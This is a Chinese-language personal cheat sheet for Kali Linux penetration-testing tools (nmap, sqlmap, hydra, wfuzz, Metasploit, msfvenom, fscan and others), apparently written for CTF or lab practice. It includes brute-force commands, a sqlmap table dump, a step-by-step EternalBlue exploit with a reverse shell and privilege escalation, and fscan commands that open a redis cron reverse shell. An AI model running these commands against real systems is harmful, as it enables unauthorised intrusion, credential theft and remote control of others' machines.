0%

kali工具笔记

kali工具笔记

nmap

Nmap 是一个强大的端口扫描工具,默认扫描端口范围 1-1024。

常用参数

选项 说明
-sn-sP 进行主机探测(Ping 扫描)。
无参数 更详细的扫描,可以获取端口信息。
-p- 扫描所有端口(有时 Ping 不一定能扫出)。
-p <端口> 指定端口扫描,可与 --script=banner-A 结合使用。
-sU 扫描 UDP 端口,探测目标上的服务。
-A 启用高级检测,包括操作系统检测、版本检测、脚本扫描和路由跟踪。
-sS 进行半开放式(SYN)扫描,适用于快速端口扫描。
-sT 进行完整连接(TCP 连接)扫描,适用于没有特权的用户。
-sV 探测端口服务版本信息。
-O 进行操作系统检测。
--script=<脚本> 使用 Nmap 脚本引擎(NSE),如 --script=vuln 进行漏洞扫描。
-T<0-5> 设置扫描速度,T0 最慢,T5 最快。
-Pn 跳过 Ping 检测,直接扫描目标主机(适用于防火墙屏蔽 Ping 的情况)。
-p- 扫描所有端口(有时候直接ping一下不一定扫出来的) 这个服务和nmap扫出来的也不一定一样
后面可以-p 指定端口之后 加上 –script=banner 或者-A
-sU 可以探测到服务
-6 用ipv6 可以先用ping6 -I ff02::1 扫描出ipv6地址,然后用nmap -6 [ip] -p 22 确定,多用于绕过22端口的filter

sqlmap

SQLMap 是一个自动化 SQL 注入漏洞检测工具

常用参数

选项 说明
-u <URL> 指定目标 URL,例如 -u "http://example.com?id=1"
--data "<参数>" 用于 POST 请求的参数数据,例如 --data "user=admin&pass=123"
--cookie "<cookie>" 指定请求的 Cookie,例如 --cookie "PHPSESSID=12345"
-p <参数> 指定测试的参数,例如 -p id 只测试 id 参数。
--level=<1-5> 设置测试强度,默认 15 最彻底但较慢。
--risk=<1-3> 设置风险级别,1 为低,3 为高。
--dbs 枚举目标数据库名称。
--tables 列出目标数据库中的表,需要结合 -D <数据库名> 使用。
--columns 列出表中的列名,需要结合 -D <数据库名> -T <表名> 使用。
--dump 导出表中的数据,需要结合 -D <数据库名> -T <表名> 使用。
--batch 跳过交互提示,自动选择默认选项,适用于脚本化操作。
--threads <N> 设置扫描线程数,提高扫描速度(默认为 1,建议 3-5)。
--os-shell 获取操作系统 Shell(如果目标数据库具有命令执行权限)。
--tamper <脚本> 使用 tamper 脚本(如 --tamper=space2comment)绕过某些安全防护。

使用示例

1
2
3
4
sqlmap -u "http://example.com/index.php?id=1" --dbs
sqlmap -u "http://example.com/index.php?id=1" -D test_db --tables
sqlmap -u "http://example.com/index.php?id=1" -D test_db -T users --columns
sqlmap -u "http://example.com/index.php?id=1" -D test_db -T users -C xxxx --dump

John the Ripper

在 Kali Linux 中,John the Ripper 是一个强大的密码破解工具,用于测试密码强度

1
john [选项] <文件>

–wordlist=<文件>:指定密码字典。
默认字典位置:/usr/share/wordlists/rockyou.txt
破解结果存储在 ~/.john/john.pot。

常用参数

选项 说明
--wordlist=<文件> 使用指定的密码字典进行破解。
--rules 启用规则扩展(对字典进行变形,提高成功率)。
--format=<格式> 指定哈希格式,如 md5cryptsha512cryptntzip
--show 显示已破解的密码。
--incremental 使用增量模式(自动生成候选密码)。
--session=<名称> 指定会话名称,可暂停后续继续破解。
--restore=<名称> 恢复指定会话的破解进度。
--fork=<N> 启用 N 个进程进行并行破解,提高速度。
--single 使用用户名作为密码的基础进行单模式破解。
--stdout 仅生成候选密码,不进行破解(测试字典效果)。

使用示例

1
john --wordlist=rockyou.txt --format=raw-md5 hashes.txt

wpscan

WPScan 是一个专注于 WordPress 安全性的开源工具,用于扫描 WordPress 网站的安全漏洞。它可以帮助管理员识别网站中可能存在的安全问题,例如已知的插件或主题漏洞、弱密码、以及错误的配置

1
wpscan --url <target_url> [选项]

现在都需要到官网注册 然后得到api-token 才能获得扫描之后的详细结果

常用参数

参数 含义
--url <URL> 指定目标网站的 URL。
--enumerate <OPTION> 枚举 WordPress 的用户、插件、主题等(详细选项见下方)。
--api-token <TOKEN> 使用 WPScan API Token 获取更详细的漏洞数据。
--random-user-agent 使用随机的 User-Agent 模拟真实用户访问,避免被目标网站屏蔽。
--passwords <FILE> 指定密码字典文件,用于密码暴力破解。
--usernames <FILE> 指定用户名字典文件,用于密码暴力破解。
--ignore-main-redirect 忽略网站的 URL 重定向。
--verbose 显示详细的输出信息。

通过 --enumerate 参数,可以枚举 WordPress 网站的不同组件:

枚举选项 含义
u 枚举用户(尝试查找用户名)。
p 枚举插件及其漏洞信息。
t 枚举主题及其漏洞信息。
vp 枚举有漏洞的插件(需要 API 支持)。
vt 枚举有漏洞的主题(需要 API 支持)。
ap 显示所有插件。
at 显示所有主题。

密码破解

1
wpscan --url https://example.com -P passwords.txt -U users.txt

wfuzz

WFuzz 是一款开源的 Web 应用模糊测试工具,专为渗透测试设计。它的主要功能是通过暴力破解和模糊测试技术,枚举和发现 Web 应用中的隐藏内容或漏洞,比如:

  1. 目录和文件枚举:发现网站的隐藏目录或敏感文件。
  2. 参数枚举:测试 Web 应用中可能存在的隐藏参数。
  3. 凭据爆破:用于暴力破解登录页面。
  4. 漏洞检测:检测 SQL 注入、XSS、命令注入等安全漏洞。
  5. HTTP 请求自定义:允许用户灵活自定义 HTTP 请求,实现高级模糊测试。
    -u/--url 指定目标 URL,并在其中插入 FUZZ 占位符,WFuzz 会用字典内容替换 FUZZ 进行请求。
    wfuzz -u http://example.com/FUZZ
    默认自带呢位置在/usr/share/wfuzz/wordlist
    参数枚举的字典用/usr/share/seclists/Discovery/Web-Content/common.txt

常见的 -z 选项:

选项 说明
file,文件路径 从字典文件加载数据
range,1-100 生成 1 到 100 的数字进行测试
hex,4 生成 4 位的十六进制数
alphanum,6 生成 6 位的字母 + 数字字符串
random,10 生成 10 位随机字符

过滤无效响应

WFuzz 可能会返回大量无效的 404 响应,可以使用以下参数进行过滤:

参数 作用
--hc 404 隐藏 HTTP 状态码为 404 的响应
--hl 10 隐藏行数等于 10 的响应
--hw 5 隐藏单词数等于 5 的响应
--hh 200 隐藏字节数等于 200 的响应
(看过的一个用法是 –hc 404 –hl 3 –hw 1
-d 可以同时多个FUZZ位置
1
2
3
wfuzz -z file,users.txt -z file,passwords.txt -d "username=FUZZ&password=FUZ2Z" 'http://example.com/login'
#带上cookie
wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.240.230/history.php?FUZZ=kakeru -H 'Cookie: PHPSESSID=fe7jj1h3ab3nh81dubr28mim8g' --hh 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
选项:

-h/--help:帮助
--help:高级帮助
--filter-help:筛选器帮助
--version:Wfuzz版本详细信息
-e<type>:可用编码器/有效负载/迭代器/打印机/脚本列表

--recipe<filename>:从配方中读取选项。对各种食谱重复上述步骤。
--dump recipe<filename>:将当前选项打印为配方
--oF<filename>:将模糊结果保存到文件中。这些可以稍后使用wfuzz有效负载来使用。

-c:带颜色的输出
-v:详细信息。
-f filename,printer:使用指定的打印机(如果省略了原始打印机)将结果存储在输出文件中。
-o printer:使用指定的打印机显示结果。
--interact:(beta)如果选中,则捕获所有按键。这允许您与程序交互。
--dry-run:打印应用请求的结果,而不实际发出任何HTTP请求。
--prev:打印以前的HTTP请求(仅当使用生成模糊结果的有效负载时)
--efield<expr>:显示指定的语言表达式以及当前负载。对各个字段重复上述操作。
--field<expr>:不显示有效负载,只显示指定的语言表达式。对各个字段重复上述操作。

-p addr:使用ip:port:type格式的代理。重复使用各种代理的选项。如果省略,类型可以是SOCKS4、SOCKS5或HTTP。

-t N:指定并发连接数(默认值为10)
-s N:指定请求之间的时间延迟(默认值为0)
-R depth:递归路径发现深度是最大递归级别。
-D depth:最大链接深度级别。
-L, --follow:遵循HTTP重定向
--ip-host:port:以ip:port格式指定要连接的ip,而不是URL的主机
-Z:扫描模式(将忽略连接错误)。
--req delay N:设置请求允许的最长时间(以秒为单位)(CURLOPT_TIMEOUT)。默认值90。
--conn-delay N:设置服务器连接阶段要花费的最长时间(以秒为单位)(CURLOPT_CONNECTTIMEOUT)。默认值90。

-A, --AA, --AAA: --script=default,verbose,discovery-v-c的别名
--no-cache:禁用插件缓存。将扫描每个请求。
--script=:相当于--script=默认值
--script=<plugins>:运行脚本的扫描<plugins>是以逗号分隔的插件文件或插件类别列表
--script help=<plugins>:显示有关脚本的帮助。
--script-args n1=v1,…:为脚本提供参数。即--script args grep.regex=“<A href=\”(.*?)\“>”

-u url:指定请求的url。
-m iterator:指定用于组合有效载荷的迭代器(默认为product)
-z payload:以名称[,参数][,编码器]的形式为每个FUZZ关键字指定有效负载。可以使用编码器列表,即md5-sha1。编码器可以是链式的,即。md5@sha1.可以使用编码器类别。即url
使用帮助作为有效负载来显示有效负载插件的详细信息(您可以使用--slice进行过滤)

--zP<params>:指定有效负载的参数(必须以-z或-w开头)。
--zD<default>:指定有效负载的默认参数(必须以-z或-w开头)。
--zE<encoder>:指定有效负载的编码器(它必须以-z或-w开头)。
--slice<filter>:使用指定的表达式过滤有效负载的元素。它必须以-z开头。
-w wordlist:指定wordlist文件(-z文件的别名,wordlist)。
-V alltype:所有参数brutforming(allvars和allpost)。不需要FUZZ关键字。
-X method:指定请求的HTTP方法,即HEAD或FUZZ

-b cookie:为请求指定cookie。对各种cookie重复选项。
-d postdata:使用postdata(例如:“id=FUZZ&catalog=1”)
-H header:使用header(例如:“Cookie:id=1312321&user=FUZZ”)。对各种标题重复选项。
--basic/ntlm/digest auth:格式为“user:pass”或“FUZZ:FUZZ”或

--hc/hl/hw/hh N[,N]+:隐藏具有指定代码/行/字/字符的响应(使用BBB从基线获取值)
--sc/sl/sw/sh N[,N]+:显示具有指定代码/行/字/字符的响应(使用BBB获取基线值)
--ss/hs正则表达式:显示/隐藏内容中具有指定正则表达式的响应
--filter<filter>:使用指定的筛选器表达式显示/隐藏响应(使用BBB从基线获取值)
--prefilter<filter>:使用指定的表达式在模糊化之前过滤项目。对串联过滤器重复上述步骤。

binwalk

Binwalk 是一个用于分析文件的工具,常用于隐写分析。

1
binwalk -e <文件> --run-as=root

Dos2Unix

用于将 Windows 文本文件转换为 Unix 格式。

1
dos2unix <文件>

SearchSploit

SearchSploit 用于搜索 Exploit-DB 漏洞利用代码。

1
searchsploit <漏洞或软件名>

漏洞利用文件存放目录:

1
/usr/share/exploitdb/exploits

Metasploit (msfconsole)

msfconsoleMetasploit Framework 的命令行界面,Metasploit 是一个用于开发和执行漏洞利用代码的开源工具。它广泛用于渗透测试、安全评估以及漏洞分析。msfconsole 提供了一个强大的命令行环境,允许用户快速访问各种安全测试功能。
以下是一些常见的命令及其说明:

常用参数

命令 作用
show 列出可用的 payloads/exploits。
set <选项> 设置攻击参数。
unset <选项> 取消选项设置。
exploit 运行漏洞利用。
sessions 管理会话。
info 查看模块详细信息。
search <名称> 搜索漏洞。
use <模块> 选择漏洞模块。
db_nmap 运行 Nmap 并保存结果。
exitquit 退出 Metasploit。

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# 1. 启动 Metasploit
msfconsole

# 2. 搜索漏洞
search smb
# 该命令搜索与 SMB 相关的漏洞利用模块

# 3. 选择漏洞模块
use exploit/windows/smb/ms17_010_eternalblue
# 选择 EternalBlue(MS17-010)漏洞利用模块

# 4. 查看模块详细信息
info
# 显示当前模块的详细说明和可用选项

# 5. 设置攻击目标
set RHOSTS 192.168.1.100
# 目标 IP 地址

set RPORT 445
# 选择目标端口 445(SMB 端口)

# 6. 设置本地攻击机的回连(反向 shell)
set LHOST 192.168.1.50
# 设置攻击者的 LHOST

set LPORT 4444
# 选择本地监听端口 4444

# 7. 运行漏洞利用
exploit
# 启动漏洞攻击,如果成功,则会获得目标主机的 meterpreter shell

# 8. 监听和管理会话
sessions -l
# 列出当前活跃的会话

sessions -i 1
# 进入 ID 为 1 的会话

# 9. 获取系统权限
getsystem
# 尝试提升权限到 SYSTEM 级别

# 10. 获取目标系统信息
sysinfo
# 查看目标系统信息

# 11. 获取目标主机的 Shell
shell
# 进入目标系统的命令行

# 12. 运行 Nmap 并保存扫描结果
db_nmap -sV -p 80,443,445 192.168.1.0/24
# 扫描 192.168.1.0/24 网络的 80, 443, 445 端口,并保存结果到数据库

# 13. 退出 Metasploit
exit
# 退出 msfconsole
  • use auxiliary/scanner/ssh/ssh_login
    • auxiliary:Metasploit 中的辅助模块(不直接获取 shell,而是用于扫描、信息收集、登录尝试等)。
    • scanner/ssh/ssh_login:用于对目标 SSH 服务器进行用户名/密码组合爆破。

Cewl

Cewl 是一个爬虫工具,可以抓取网站内容并生成密码字典。

1
cewl -w <输出文件> -d <深度> <URL>

fcrackzip

使用frackzip破解压缩包

1
fcrackzip -b -c 1 -l 1-6 -p 0 -u 1.zip

-b:使用暴力破解模式。

-c 1:限制密码仅包含数字字符。

-l 1-6:限制密码长度在 1 到 6 个字符之间。

-p 0:初始化破解起点为 0。

-u:显示破解出来的密码。

hydra

Hydra 是一个多协议暴力破解工具。

1
hydra -L <用户名列表> -P <密码列表> <协议>://<目标>:<端口>

支持 SSH、FTP、HTTP 等协议。

常用参数

参数 描述
-L <文件> 指定包含多个用户名的文件。
-l <用户名> 指定单个用户名。
-P <文件> 指定包含多个密码的文件。
-p <密码> 指定单个密码。
-t <线程数> 指定线程数,默认为16。可以增加来提高破解速度,但过高可能会被目标封禁或造成网络问题。
-o <文件> 将破解成功的结果保存到指定文件中。

-i忽略密码字段,表示使用 SSH 私钥进行认证 -s 22:指定 SSH 端口(默认 22) -p id_rsa:指定 SSH 私钥(即 id_rsa
-V -I -e nsr nsr表示尝试空密码 尝试用户名本身 尝试用户名反转

gobuster

gobuster 是一个用 Go 语言编写的目录 / 文件扫描工具,常用于渗透测试和安全审计中,目的是通过暴力破解或字典攻击来发现 Web 服务器上的隐藏目录和文件。
gobuster dir -u http://example.com -w /path/to/wordlist.txt
默认字典目录在/usr/share/wordlists/dirbuster/
-s 指定要显示的http状态码 -t指定线程 一般用50 60 -b 排除状态码
字典位置:/usr/share/wordlists/dirbuster/

一般是dirsearch没有发现有用的内容的时候用这个扫描器 用这个 medium字典
-b 可以排除状态码 -x要检查的类型 比如 txt php

Enum4Linux

enum4linux 是一款用于 Linux 系统上的 SMB(Server Message Block)协议枚举工具,常用于网络安全测试中进行 Windows 系统的枚举。它能够帮助渗透测试人员获取有关 Windows 系统的详细信息,例如共享资源、用户账户、操作系统版本、域名等。
功能和smbmap差不多

常用参数和示例

命令 说明
enum4linux -S <target_ip> 列出目标系统的共享资源。
smbmap -H <target_ip> 列出目标系统的共享资源(替代 enum4linux -S)。
enum4linux -O <target_ip> 获取目标 Windows 系统的操作系统版本。
enum4linux -U <target_ip> 列出目标计算机上的所有用户账户。
enum4linux -P <target_ip> 获取目标主机上用户的登录历史信息。
enum4linux -A <target_ip> 请求更多的枚举信息,包括共享、用户等数据。
enum4linux -G <target_ip> 获取目标系统上组的相关信息。

stegseek

Stegseek 是一款快速的 JPEG 隐写分析工具,专门用于破解 steghide 隐写的图片文件。它可以 高效爆破密码,并提取隐藏数据。

Stegseek 主要功能包括:

  • 快速爆破密码:基于字典的攻击,速度极快。
  • 提取隐藏数据:无需密码时,尝试默认密码或空密码提取。
  • 检查图片是否含有隐写数据

常用参数

参数 说明
-sf, --stegofile 选择隐写文件
-wl, --wordlist 选择密码字典文件,用于暴力破解
-xf, --extractfile 指定提取数据时的文件名
-t, --threads 设定线程数量,默认为 CPU 核心数
-f, --force 强制覆盖已存在的文件
-v, --verbose 显示详细信息
-q, --quiet 隐藏性能指标(可能提升性能)
-s, --skipdefault 不使用默认猜测(如空密码、文件名等)
-n, --nocolor 禁用终端输出的颜色
-c, --continue 在找到结果后继续破解(可能存在多个嵌入文件)
-a, --accessible 简化输出,使其更适用于屏幕阅读器

一般指定rockyou字典就可以

steghide

steghide 是 Kali Linux 中常用的 隐写术工具,主要用于 JPEG、BMP、WAV、AU 格式的 数据隐藏与提取。它支持 密码加密,因此如果数据被加密嵌入,需要正确的密码才能提取。

Steghide 常用参数

参数 作用
info 查看文件信息,检查是否包含隐藏数据
extract 提取隐藏数据
embed 向文件中嵌入数据
-sf file 指定载体文件(如图片、音频)
-ef file 指定要隐藏的文件
-p password 指定密码(如果有加密)
-cf file 指定载体文件(用于嵌入数据)
-v 详细模式(verbose,显示更多信息)
工具 作用 支持格式 加密支持 破解能力
steghide 数据隐藏 & 提取 JPEG、BMP、WAV、AU ✅ 支持密码加密 ❌ 无法破解密码
stegseek 快速破解 steghide 隐写密码 仅支持 JPEG ✅ 破解加密的 steghide 文件 ✅ 超快字典攻击

zsteg

zsteg 是 Kali Linux 中用于检测 PNGBMP 图像中的 隐写数据(Steganography)的工具。它能够扫描图像的 RGB 通道、Alpha 通道,以及不同位深度 来查找隐藏信息,比如 文本、二进制数据、shellcode 等。
zsteg 常用参数

参数 作用
-a 对图像进行全面扫描(常用)
-c X 仅扫描通道 Xr=红,g=绿,b=蓝,a=透明度)
-b X 仅扫描第 X 位(如 -b 1 仅检测最低位 LSB)
-v 显示详细信息(verbose 模式)
-p 仅显示 有效结果
-E fmt 以指定格式提取数据(如 -E bin 提取二进制)
--lsb Y 仅扫描 Y 位的 最低有效位(LSB)
-o filename 将提取的数据输出到文件
-q 安静模式(只输出必要信息)
--dump 直接转储找到的数据

rax2

rax2 是 radare 框架中的一个小工具,其设计目的是为 shell 提供一个小型的表达式计算器。其可用于浮点数、十六进制字节的进制转换,十六进制转 ascii,八进制转整数等。若未传入任何参数还可作为一个计算器 shell 使用。
输入 rax2 -h 查看参数

tcpdump

tcpdump 是 Linux 和 macOS 上的网络抓包工具,用于抓取、分析和过滤网络数据包,类似于 Wireshark 的命令行版本。

1
tcpdump -A -n icmp

这个命令的作用是:
👉 监听 ICMP(Internet Control Message Protocol)流量,比如 ping 请求和回复,并以 ASCII 方式显示数据包内容
-A 以 ASCII 格式 显示数据包内容,方便阅读(适用于明文协议)
-n 不解析 DNS,直接显示 IP 地址(加快速度)
icmp 只抓取 ICMP 流量,比如 ping 请求和响应

medusa

medusa 是另一个快速且并行的登录爆破工具。

常用参数

选项 说明
-h <目标主机> 指定目标 IP 或主机名(可以用 -H 传入包含多个目标的文件)。
-u <用户名> 指定单个用户名。
-U <用户名文件> 指定用户名列表文件。
-p <密码> 指定单个密码。
-P <密码文件> 指定密码列表文件。
-M <服务> 指定要攻击的服务,如 sshftphttp 等。
-t <线程数> 指定并发线程数,提高爆破效率。
-n <端口号> 指定目标服务的端口号(如果默认端口不同)。
-f 找到有效凭据后立即停止攻击(可选)。
-v / -V 设置输出详细程度。

ssh-keygen

ssh-keygen 是一个用于生成、管理和转换 SSH 认证密钥的命令行工具。它支持多种密钥类型,包括 RSA、DSA、ECDSA 和 Ed25519。该工具常用于为 SSH 连接创建公钥和私钥对,以实现安全的无密码登录。

参数 说明
-t 指定要创建的密钥类型,如 rsadsaecdsaed25519 等。
-b 设置密钥长度(以位为单位),例如 2048 或 4096。
-C 添加注释,通常用于标识密钥所有者,例如邮箱地址。
-f 指定密钥文件的保存路径和名称。
-N 为私钥设置新密码。
-P 提供旧密码,用于更改现有私钥的密码。
-q 静默模式,在生成密钥时不显示提示和进度。
-y 从私钥文件读取并输出对应的公钥。
-l 显示指定公钥文件的指纹信息。
-e 将 OpenSSH 私钥转换为 RFC 4716 格式。
-i 将 RFC 4716 格式的密钥转换为 OpenSSH 格式。
-p 更改现有私钥文件的密码。
-o 强制使用新的 OpenSSH 格式保存私钥,提供更好的安全性。
-m 指定密钥的显示或保存格式,如 PEM
-r 生成用于 DNS 的 SSHFP 资源记录。
-B 以 Bubble Babble 格式显示密钥指纹。
-F 搜索指定的已知主机文件中的主机条目。
-R 从已知主机文件中删除指定主机的所有条目。

所以要用私钥生成公钥就用ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub

msf-pattern_create

msf-pattern_create 是 Metasploit Framework 中的一个工具,用于生成特定的模式字符串,通常用于缓冲区溢出漏洞测试中的模式创建。

它通过生成一组唯一的字节模式(通常是 ASCII 字符串),这些模式可以帮助你定位栈溢出时的返回地址或其他溢出点。常见的使用场景包括:

msf-pattern_offset

msf-pattern_offset 是 Metasploit Framework 中的一个工具,通常用于缓冲区溢出漏洞测试中,帮助调试人员确定输入模式的偏移量。简单来说,它用于分析程序崩溃时的栈,帮助你找出溢出数据到达返回地址或其他关键内存位置的精确偏移。

1
msf-pattern_offset -q 0x6161616b

msfvenom

msfvenom 是 msfpayload(攻击载荷)和 msfencode(编码加密)的组合。将这两个工具集成在一个框实例中。

进一步解释,msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线,可以理解为一个远控木马。

msfvenom 基本参数
-p:–payload,指定特定的 Payload,如果被设置为,那么从标准输入流中读取。几乎支持全平台
-l:–list,列出所有可用的项目,其中值可以被设置为 payloads,encoders,nops,all
-n:–nopsled,指定 nop 在 payload 中的数量
-f:–format,指定 Payload 的输出格式 (–list formats: 列出所有可用的输出格式)
-e: –encoder,指定使用的 encoder
-a:–arch,指定目标系统架构
–platform: 指定目标系统平台
-s:–space,设置未经编码的 Payload 的最大长度 (–encoder-space: 编码后的 Payload 的最大长度)
-b:–bad-chars,设置需要在 Payload 中避免出现的字符,例如: 0f’lx00’等
-i:–iterations,设置 Payload 的编码次数
–smallest: 尽可能生成最短的 Payload
-o:–out,保存 Pavload 到文件
-c –add-code,指定一个附加的 win32 shellcode 文件
-x –template,指定一个特定的可执行文件作为模板
-k –keep,保护模板程序的功能,注入的 pavload 作为一个新的进程运行

最常用的参数就是 -p ,-f ,-x 和 -e

-f raw生成原始的shellcode

fscan

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
简单用法

1
2
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)

其他用法

1
2
3
4
5
6
7
8
9
10
11
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)